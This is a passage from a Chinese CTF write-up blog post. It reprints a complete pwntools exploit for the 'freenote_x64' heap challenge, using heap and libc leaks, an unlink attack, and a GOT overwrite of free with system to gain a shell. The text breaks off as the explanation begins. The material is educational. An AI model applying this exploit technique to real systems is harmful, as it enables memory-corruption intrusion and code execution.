我来填坑啦!
还记得上一篇《堆漏洞——实战double free和unlink漏洞》吗?上次的exp似乎还有一些疑惑没有解决,此外,笔者又用另外一种思路写了另一个exp,调试时遇到的问题也很值得探讨,因此特意写了这篇blog,填上次坑的同时讲一下新的exp。
我们先贴一下上次的exp方便参照:
1 from pwn import * 2 p = remote('pwn2.jarvisoj.com', 9886) 3 elf = ELF("./freenote_x64") 4 libc = ELF("./libc-2.19.so") 5 def list(): 6 p.recvuntil("Your choice: ") 7 p.sendline("1") 8 9 def new(length, note): 10 p.recvuntil("Your choice: ") 11 p.sendline("2") 12 p.recvuntil("new note: ") 13 p.sendline(str(length)) 14 p.recvuntil("note: ") 15 p.send(note) 16 17 def edit(index, length, note): 18 p.recvuntil("Your choice: ") 19 p.sendline("3") 20 p.recvuntil("Note number: ") 21 p.sendline(str(index)) 22 p.recvuntil("Length of note: ") 23 p.sendline(str(length)) 24 p.recvuntil("Enter your note: ") 25 p.send(note) 26 27 def delete(index): 28 p.recvuntil("Your choice: ") 29 p.sendline("4") 30 p.recvuntil("Note number: ") 31 p.sendline(str(index)) 32 33 def exit(): 34 p.recvuntil("Your choice: ") 35 p.sendline("5") 36 37 #leak address 38 new(1, 'a') 39 new(1, 'a') 40 new(1, 'a') 41 new(1, 'a') 42 delete(0) 43 delete(2) 44 new(8, '12345678') 45 new(8, '12345678') 46 list() 47 p.recvuntil("0. 12345678") 48 heap = u64(p.recvline().strip("\x0a").ljust(8, "\x00")) - 0x1940 49 p.recvuntil("2. 12345678") 50 libcbase = u64(p.recvline().strip("\x0a").ljust(8, "\x00")) - 88 - 0x3be760 51 delete(3) 52 delete(2) 53 delete(1) 54 delete(0) 55 56 #double link 57 payload01 = p64(0) + p64(0x21) + p64(heap + 0x30 - 0x18) + p64(heap + 0x30 - 0x10) 58 new(len(payload01), payload01) 59 payload02 = "/bin/sh\x00" + "A"*(0x80 - len("/bin/sh\x00")) + p64(0x110) + p64(0x90) + "A"*0x80 60 payload02 += p64(0) + p64(0x91) + "A"*0x80 61 new(len(payload02), payload02) 62 delete(2) 63 64 #change 65 free_got = elf.got['free'] 66 system = libcbase + libc.symbols['system'] 67 payload03 = p64(8) + p64(0x1) + p64(0x8) + p64(free_got) 68 payload04 = p64(system) 69 edit(0, 0x20, payload03) 70 edit(0, 0x8, payload04) 71 72 #fire 73 delete(1) 74 75 p.interactive()
上回说到,payload02(第60行)